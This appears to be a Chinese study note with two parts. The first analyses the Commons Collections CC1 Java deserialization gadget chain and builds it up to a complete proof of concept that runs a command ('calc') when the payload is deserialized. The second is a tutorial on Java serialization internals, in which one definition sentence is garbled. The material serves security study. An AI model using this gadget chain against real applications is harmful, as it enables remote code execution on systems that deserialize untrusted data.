CC1链

前置基础

Java反序列化原理:

接受任意对象,执行readObject方法

  1. 若有一个A的readObject方法,调用了O1.method1方法,则我们可以修改这个O1
  2. 且在O1.method1方法中,调用了O2.method2方法,则我们可以修改这个O2
  3. ……
  4. 最后调用了危险方法(Runtime.getRuntime.exec())

最后调用危险方法有两种类型:

  1. 不同类的同名函数
  2. 任意方法调用(反射/动态加载恶意字节码)

注意:

A :可序列化

重写readObject

接受任意对象作为参数

On : 可序列化

集合类型/接受Object/接受Map

CC1攻击链分析

Transformer接口
1
2
3
4
5
public interface Transformer {

public Object transform(Object input);

}

Transformer是一个接口类,提供对象转换方法transform(接收对象,并对对象做出操作)

重要的实现方法有:ConstantTransformerinvokerTransformerChainedTransformerTransformedMap

危险方法

这里我们找到InvokerTransformer类,该类中存在一个反射调用任意类,可以作为链子的终点
1
2
3
4
5
6
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

下面是该类的transform方法,用反射获取方法并invoke执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
  1. 使用InvokerTransformer中可执行任意方法,下面是反射调用
1
2
3
4
5
6
7
8
public static void main(String[] args) throws Exception {

Runtime rt = Runtime.getRuntime();
Class runtime = Runtime.class;
Method exec = runtime.getMethod("exec", String.class);
exec.invoke(rt,"calc");

}
  1. 现在使用InvokerTransformer来调用calc
1
2
3
4
5
6
public static void main(String[] args) throws Exception {

Runtime rt = Runtime.getRuntime();
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(rt);

}

调用transform方法

TransformedMap中的checkSetValue方法调用了valueTransformertransform方法

这里的valueTransformer在构造函数中初始化,但由于构造函数为protected属性,我们找到了本类中的decorate方法可以去构造一个TransformedMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

调用checkSetValue

查找用法,只有AbstractInputCheckedMapDecorator中的内部类MapEntrysetValue可以调用checkSetValue方法(AbstractInputCheckedMapDecorator他是TransformedMap的父类)

1
2
3
4
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}

通过遍历MapEntry,调用entry的setValue方法即可调用危险方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static void main(String[] args) throws Exception {

Runtime rt = Runtime.getRuntime();
// Class runtime = Runtime.class;
// Method exec = runtime.getMethod("exec", String.class);
// exec.invoke(rt,"calc");

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("calc", "calc");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);

for (Map.Entry entry:transformedMap.entrySet()) {
entry.setValue(rt);
}

}

这里我没有很是理解,借用别的师傅的笔记

MapEntry中的setValue方法其实就是Entry中的setValue方法,他这里重写了setValue方法。

TransformedMap接受Map对象并且进行转换是需要遍历Map的,遍历出的一个键值对就是Entry,所以当遍历Map时,setValue方法也就执行了。

调用setValue

在该`AnnotationInvocationHandler`的`readObject`方法中,存在遍历Map并且调用`setValue`,所以该类可以作为我们的入口类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

但是AnnotationInvocationHandler并不是一个puclic类型的类,如果想要调用它的话,需要通过反射的方法来获取其构造函数进行实例化。

观察构造方法,第一个参数要传入一个注解类,第二个参数就要传入我们构造的恶意Map了

1
2
3
4
5
6
7
8
9
10
11
12
class AnnotationInvocationHandler implements InvocationHandler, Serializable 

// 构造函数
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
1
2
3
4
5
// 反射调用
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = aClass.getDeclaredConstructor(Class.class,Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Override.class, transformedMap);

目前来说,不出意外的话,这个链子已经走完了,但是意外来的很快,我们发现其并没有成功执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public static void main(String[] args) throws Exception {

Runtime rt = Runtime.getRuntime();
// Class runtime = Runtime.class;
// Method exec = runtime.getMethod("exec", String.class);
// exec.invoke(rt,"calc");

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("calc", "calc");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);

// for (Map.Entry entry:transformedMap.entrySet()) {
// entry.setValue(rt);
// }
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = aClass.getDeclaredConstructor(Class.class,Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Override.class, transformedMap);

serialize(o);
unserialize("ser.bin");


}

最后调整

这条链子没有走下来有几个原因

一)Runtime类没有继承序列化接口

1
public class Runtime

没有继承序列化接口就不能被序列化,但是我们可以通过反射来调用,我们先看看普通反射怎么写

1
2
3
4
5
Class c = Runtime.class
Method getRuntimeMethod = c.getMethod("getRuntime",null);
Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
Method execMethod = c.getMethod("exec",String.class);
execMethod.invoke(r,"calc");

现在我们来把他改成一个InvokerTransformer的形式,但是如此来说就有点繁琐了,需要一直调用transform。

记得有一个ChainedTransformer类,传入一个transform数组,进行递归调用(前一个transform的返回值作为后一个transform的参数)

1
2
3
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(r);

这里是ChainedTransformer类的部分源码

1
2
3
4
5
6
7
8
9
10
11
12
13
// ChainedTransformer

private ChainedTransformer(final boolean clone, final Transformer<? super T, ? extends T>[] transformers) {
super();
iTransformers = clone ? FunctorUtils.copy(transformers) : transformers;
}

public T transform(T object) {
for (final Transformer<? super T, ? extends T> iTransformer : iTransformers) {
object = iTransformer.transform(object);
}
return object;
}

根据ChainedTransformer修改后,可成功执行

1
2
3
4
5
6
7
8
9
10
11
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
}

二)中间由于存在if判断,并没有进入到if中

通过动态调试,发现在readObject方法中if判断时,memberType为空,而没有进入到if中

这里的name是get到我们之前Map中put进去键值对的key,然后去检查这个注解类中有没有这个key名字的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Map<String, Class<?>> memberTypes = annotationType.memberTypes();

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}

因此我们修改一下,在Target注解中存在一个value的参数,在Target注解中存在value名字的参数,只需要把put进去的key改为value,将Overide注解的类换为Target注解类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "value");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = aClass.getDeclaredConstructor(Class.class,Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, transformedMap);

serialize(o);
unserialize("ser.bin");
}

这里可以看到已经memberType已经不为NULL

三)readObject调用的setValue的参数值是固定的

我们的本意是将setValue中的值改为Runtime.class,但是实际上我们无法修改其中的值,若我们可以控制,这条链就成功走通了
1
2
3
4
5
6
7
8
9
10
if (memberType != null) {  // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}

还有一个比较重要的类ConstantTransformer,下面为ConstantTransformer的构造函数和transform方法,构造时传入的参数设为一个常量值,后续调用他的transform方法,无论传入什么值,都会返回这个常量,如果我们在构造时传入 Runtime.class呢

1
2
3
4
5
6
7
8
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}

public Object transform(Object input) {
return iConstant;
}

现在只需要在Transformers的首位传入ConstantTransformer类,传入参数为Runtime的类,最后就能成功执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "value");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = aClass.getDeclaredConstructor(Class.class,Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, transformedMap);

serialize(o);
unserialize("ser.bin");


}

大概的链子如下:

一 概述

Java序列化是指把Java对象转换为Java对象的过程。字节序列的过程;而Java反序列化是指把字节序列恢复为Java对象的过程。

序列化分为两大部分:序列化和反序列化。序列化是这个过程的第一部分,将数据分解成字节流,以便存储在文件中或在网络上传输。反序列化就是打开字节流并重构对象。对象序列化不仅要将基本数据类型转换成字节表示,有时还要恢复数据。恢复数据要求有恢复数据的对象实例。

常见序列化反序列化协议

1. XML&SOAP

XML 是一种常用的序列化和反序列化协议,具有跨机器,跨语言等优点,SOAP(Simple Object Access protocol) 是一种被广泛应用的,基于 XML 为序列化和反序列化协议的结构化消息传递协议

  1. JSON
  2. Protobuf

二 序列化实现

注意:只有实现了Serializable或者externalizable接口的类的对象才能被序列化为字节序列(否则抛出异常)

Serializable是一个空接口(所以只是用来标记)

1
2
public interface Serializable {
}

Serializable 用来标识当前类可以被 ObjectOutputStream 序列化,以及被 ObjectInputStream 反序列化。

Serializable 接口的基本使用

通过 ObjectOutputStream 将需要序列化数据写入到流中,因为 Java IO 是一种装饰者模式,因此可以通过 ObjectOutStream 包装 FileOutStream 将数据写入到文件中或者包装 ByteArrayOutStream 将数据写入到内存中。同理,可以通过 ObjectInputStream 将数据从磁盘 FileInputStream 或者内存 ByteArrayInputStream 读取出来然后转化为指定的对象即可。

Serializable接口特点

1. 序列化类属性没用实现Serialzable 那么在序列化时就回报错
1
2
3
4
5
6
7
8
9
10
public class Person implements Serializable {
private String name;
private int age;

/*
其中 Color 类也需要是实现序列化接口
*/
private Color color;
//若不实现序列化接口,则Person在序列化时也会报错
}
  1. 在反序列化过程中,它的父类如果没有实现序列化接口,那么将需要提供无参构造函数来重新创建对象。

Animal 是父类,它没有实现 Serilizable 接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class Animal {
private String color;

public Animal() {//没有无参构造将会报错
System.out.println("调用 Animal 无参构造");
}

public Animal(String color) {
this.color = color;

System.out.println("调用 Animal 有 color 参数的构造");
}

@Override
public String toString() {
return "Animal{" +
"color='" + color + '\'' +
'}';
}
}

BlackCat 是 Animal 的子类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class BlackCat extends Animal implements Serializable {
private static final long serialVersionUID = 1L;
private String name;

public BlackCat() {
super();
System.out.println("调用黑猫的无参构造");
}

public BlackCat(String color, String name) {
super(color);
this.name = name;
System.out.println("调用黑猫有 color 参数的构造");
}

@Override
public String toString() {
return "BlackCat{" +
"name='" + name + '\'' +super.toString() +'\'' +
'}';
}
}

SuperMain 测试类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class SuperMain {
private static final String FILE_PATH = "./super.bin";

public static void main(String[] args) throws Exception {
serializeAnimal();
deserializeAnimal();
}

private static void serializeAnimal() throws Exception {
BlackCat black = new BlackCat("black", "我是黑猫");
System.out.println("序列化前:"+black.toString());
System.out.println("=================开始序列化================");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(FILE_PATH));
oos.writeObject(black);
oos.flush();
oos.close();
}

private static void deserializeAnimal() throws Exception {
System.out.println("=================开始反序列化================");
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(FILE_PATH));
BlackCat black = (BlackCat) ois.readObject();
ois.close();
System.out.println(black);
}
}

输出结果

1
2
3
4
5
6
7
调用 Animal 有 color 参数的构造
调用黑猫有 color 参数的构造
序列化前:BlackCat{name='我是黑猫'Animal{color='black'}'}
=================开始序列化================
=================开始反序列化================
调用 Animal 无参构造
BlackCat{name='我是黑猫'Animal{color='null'}'}

从上面的执行结果来看,如果要序列化的对象的父类 Animal 没有实现序列化接口,那么在反序列化时是会调用对应的无参构造方法的,这样做的目的是重新初始化父类的属性,例如 Animal 因为没有实现序列化接口,因此对应的 color 属性就不会被序列化,因此反序列得到的 color 值就为 null。

  1. 实现Serializable接口的子类也是可以被序列化的
  2. 静态成员变量不能被序列化
  3. transient标识的对象成员变量不参与序列化(在属性前加关键字transient,序列化时,就不会序列化到指定位置)

操作文件流的类

1. ObjectOutputStream代表对象输出流:

它的writeObject(Object obj)方法可对参数指定的obj对象进行序列化,把得到的字节序列写到一个目标输出流中

  1. ObjectInputStream代表对象输入流:

它的readObject()方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。

三 序列化ID

在进行序列化时,有一个serialVersionUID 。这就是序列化ID
1
private static final long serialVersionUID = 1L;

这个序列化ID起着关键的作用,它决定着是否能够成功反序列化!java的序列化机制是通过判断运行时类的serialVersionUID来验证版本一致性的,在进行反序列化时,JVM会把传进来的字节流中的serialVersionUID与本地实体类中的serialVersionUID进行比较,如果相同则认为是一致的,便可以进行反序列化,否则就会报序列化版本不一致的异常。

即序列化ID是为了保证成功进行反序列化

如何生成UID

1. 使用 AS plugin 插件就可以生成 2. 在JDK中,可以利用 JDK 的 bin 目录下的 serialver 工具产生这个serialVersionUID,对于 Student.class,执行命令:serialver com.example.seriable.Student
1
2
➜  classes git:(master) ✗ /Library/Java/JavaVirtualMachines/jdk1.8.0_111.jdk/Contents/Home/bin/serialver com.example.seriable.Student 
com.example.seriable.Student: private static final long serialVersionUID = -6840182814363029482L;//这个就是工具生成的 SerialVersionUID 值了

使用 AS plugin 的方式应该底层也是使用到这个 JDK 工具去生成的 SerialVersionUID 值,测试结果来看这两个生成的值是一样的。

serialVersionUID 的兼容性问题是什么?

具体的兼容性问题如下:
1
2
java.io.InvalidClassException: com.example.seriable.Student; local class incompatible: stream classdesc
serialVersionUID = -926212341182608815, local class serialVersionUID = -6840182814363029482

关于这个异常,它是属于兼容问题异常,是发生在反序列化阶段,检测到 serialVersionUID 不一致导致的。具体的分析如下:

1
2
序列化时使用的 serialVersionUID = -926212341182608815L,如果期间属性被修改了,如果 serialVersionUID 发生改变 -6840182814363029482 ,那么
反序列化时就会出现类不兼容问题。

四 Java的序列化步骤与数据结构分析

序列化算法一般会按步骤做如下事情:

将对象实例相关的类元数据输出。

递归地输出类的超类描述直到不再有超类。

类元数据完了以后,开始从最顶层的超类开始输出对象实例的实际数据值。

从上至下递归输出实例的数据

writeObject原理分析

ObjectOutputStream 构造函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public ObjectOutputStream(OutputStream out) throws IOException {
verifySubclass();
bout = new BlockDataOutputStream(out);//A
handles = new HandleTable(10, (float) 3.00);
subs = new ReplaceTable(10, (float) 3.00);
enableOverride = false;//B
writeStreamHeader();//C
bout.setBlockDataMode(true);
if (extendedDebugInfo) {
debugInfoStack = new DebugTraceInfoStack();
} else {
debugInfoStack = null;
}
}

A bout:用于写入一些类元数据还有对象中基本数据类型的值,在下面会分析。

B enableOverride :false 表示不支持重写序列化过程,如果为 true ,那么需要重写 writeObjectOverride 方法。这个一般不用管它。

C writeStreamHeader() 写入头信息,具体看下面分析。

ObjectOUtStream#writeObject(obj);

1
2
3
4
protected void writeStreamHeader() throws IOException {
bout.writeShort(STREAM_MAGIC);//①
bout.writeShort(STREAM_VERSION);//②
}

①STREAM_MAGIC 声明使用了序列化协议,bout 就是一个流,将对应的头数据写入该流中

②STREAM_VERSION 指定序列化协议版本

ObjectOUtStream#writeObject(obj);

上面是 ObjectOutStream 构造中做的事,下面来看看具体 writeObject 方法内部做了什么事?

1
2
3
4
5
6
7
8
9
10
11
public final void writeObject(Object obj) throws IOException {
if (enableOverride) {//一般不会走这里,因为在 ObjectOutputStream 构造设置为 false 了
writeObjectOverride(obj);
return;
}
try {//代码会执行这里
writeObject0(obj, false);
} catch (IOException ex) {
...
}
}

ObjectOutStream#writeObject0()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
private void writeObject0(Object obj, boolean unshared)
throws IOException
{
...
try {

Object orig = obj;
Class<?> cl = obj.getClass();
ObjectStreamClass desc;

//①
desc = ObjectStreamClass.lookup(cl, true);
...
//②
if (obj instanceof Class) {
writeClass((Class) obj, unshared);
} else if (obj instanceof ObjectStreamClass) {
writeClassDesc((ObjectStreamClass) obj, unshared);
// END Android-changed: Make Class and ObjectStreamClass replaceable.
} else if (obj instanceof String) {
writeString((String) obj, unshared);
} else if (cl.isArray()) {
writeArray(obj, desc, unshared);
} else if (obj instanceof Enum) {
writeEnum((Enum<?>) obj, desc, unshared);
} else if (obj instanceof Serializable) {
writeOrdinaryObject(obj, desc, unshared);
} else {
//③
if (extendedDebugInfo) {
throw new NotSerializableException(
cl.getName() + "\n" + debugInfoStack.toString());
} else {
throw new NotSerializableException(cl.getName());
}
}
}
...
}

① lookup 函数用于查找当前类的 ObjectStreamClass ,它是用于描述一个类的结构信息的,通过它就可以获取对象及其对象属性的相关信息,并且它内部持有该对象的父类的 ObjectStreamClass 实例。

② 根据 obj 的类型去执行序列化操作,如果不符合序列化要求,那么会③位置抛出NotSerializableException异常。

ObjectOutputStream#writeOrdinaryObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private void writeOrdinaryObject(Object obj,
ObjectStreamClass desc,
boolean unshared)
throws IOException
{
...
try {
desc.checkSerialize();
//①
bout.writeByte(TC_OBJECT);
//②
writeClassDesc(desc, false);
handles.assign(unshared ? null : obj);
//③
if (desc.isExternalizable() && !desc.isProxy()) {
writeExternalData((Externalizable) obj);
} else {
//④
writeSerialData(obj, desc);
}
} finally {
if (extendedDebugInfo) {
debugInfoStack.pop();
}
}
}

①写入类的元数据,TC_OBJECT. 声明这是一个新的对象,如果写入的是一个 String 类型的数据,那么就需要 TC_STRING 这个标识。

②writeClassDesc 方法主要作用就是自上而下(从父类写到子类,注意只会遍历那些实现了序列化接口的类)写入描述信息。该方法内部会不断的递归调用,我们只需要关系这个方法是写入描述信息就好了。

从这里可以知道,序列化过程需要额外的写入很多数据,例如描述信息,类数据等,因此序列化后占用的空间肯定会更大。

③ desc.isExternalizable() 判断需要序列化的对象是否实现了 Externalizable 接口,这个在上面已经演示过怎么使用的,在序列化过程就是在这个地方进行判断的。如果有,那么序列化的过程就会由程序员自己控制了哦,writeExternalData 方法会回调,在这里就可以愉快地编写需要序列化的数据拉。

④ writeSerialData 在没有实现 Externalizable 接口时,就执行这个方法

ObjectOutputstream#writeSerialData

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
private void writeSerialData(Object obj, ObjectStreamClass desc)
throws IOException
{
//①
ObjectStreamClass.ClassDataSlot[] slots = desc.getClassDataLayout();
for (int i = 0; i < slots.length; i++) {

ObjectStreamClass slotDesc = slots[i].desc;

if (slotDesc.hasWriteObjectMethod()) {//②
PutFieldImpl oldPut = curPut;
curPut = null;
SerialCallbackContext oldContext = curContext;
if (extendedDebugInfo) {
debugInfoStack.push(
"custom writeObject data (class \"" +
slotDesc.getName() + "\")");
}
try {
curContext = new SerialCallbackContext(obj, slotDesc);
bout.setBlockDataMode(true);
slotDesc.invokeWriteObject(obj, this);
bout.setBlockDataMode(false);
bout.writeByte(TC_ENDBLOCKDATA);
} finally {
curContext.setUsed();
curContext = oldContext;
if (extendedDebugInfo) {
debugInfoStack.pop();
}
}
curPut = oldPut;
} else {
defaultWriteFields(obj, slotDesc);//③
}
}
}

① desc.getClassDataLayout 会返回 ObjectStreamClass.ClassDataSlot[] ,我们来看看 ClassDataSlot 类,可以看到它是封装了 ObjectStreamClass 而已,所以我们就简单的认为 ① 这一步就是用于返回序列化对象及其父类的 ClassDataSlot[] 数组,我们可以从 ClassDataSlot 中获取对应 ObjectStreamClass 描述信息。

② 开始遍历返回的数组,slotDesc 这个我们就简单将其看成对一个对象的描述吧。hasWriteObjectMethod 表示的是什么呢?这个其实就是你要序列化这个对象是否有 writeObject 这个 private 方法,注意哦,这个方法并不是任何接口的方法,而是我们手动写的,读者可以参考 ArrayList 代码,它内部就有这个方法。那么这个方法的作用是什么呢?这个方法我们在上面也演示过具体的使用,它就是用于自定义序列化过程的,读者可以返回到上面看看如果使用这个 writeObject 实现自定义序列化过程的。注意:其实这个过程不像实现 Externalizable 接口那样,自己完全去自定义序列化数据。

③ defaultWriteFields 这个方法就是 JVM 自动帮我们序列化了

这个方法主要分为以下两步

  • ① 写入基本数据类型的数据
  • ②写入引用数据类型的数据,这里最终又调用到了 writeObject0() 方法,读者可以返回到上面去看看具体的实现。

readObject 原理分析

从流中读取类的描述信息 ObjectStreamClass 实例,通过这个对象就可以创建出序列化的对象。
1
2
3
4
5
6
7
8
9
10
11
ObjectStreamClass desc = readClassDesc(false);
...
Object obj;
try {
//创建对应反序列化的对象
obj = desc.isInstantiable() ? desc.newInstance() : null;
} catch (Exception ex) {
throw (IOException) new InvalidClassException(
desc.forClass().getName(),
"unable to create instance").initCause(ex);
}

读取该对象及其对象的父类的 ObjectStreamClass信息

1
ObjectStreamClass.ClassDataSlot[] slots = desc.getClassDataLayout();

然后遍历得到每一个 ObjectStreamClass 对象,将对应的属性值赋值给需要反序列化的对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void defaultReadFields(Object obj, ObjectStreamClass desc)
throws IOException
{
Class<?> cl = desc.forClass();
if (cl != null && obj != null && !cl.isInstance(obj)) {
throw new ClassCastException();
}
int primDataSize = desc.getPrimDataSize();
if (primVals == null || primVals.length < primDataSize) {
primVals = new byte[primDataSize];
}
bin.readFully(primVals, 0, primDataSize, false);
if (obj != null) {
desc.setPrimFieldValues(obj, primVals);
}
int objHandle = passHandle;
//从 ObjectStreamClass 中得到对象的所有 Field 信息
ObjectStreamField[] fields = desc.getFields(false);
Object[] objVals = new Object[desc.getNumObjFields()];
int numPrimFields = fields.length - objVals.length;
for (int i = 0; i < objVals.length; i++) {
ObjectStreamField f = fields[numPrimFields + i];
objVals[i] = readObject0(f.isUnshared());
if (f.getField() != null) {
handles.markDependency(objHandle, passHandle);
}
}
if (obj != null) {
//将数据保存到对象中去
desc.setObjFieldValues(obj, objVals);
}
passHandle = objHandle;
}
0%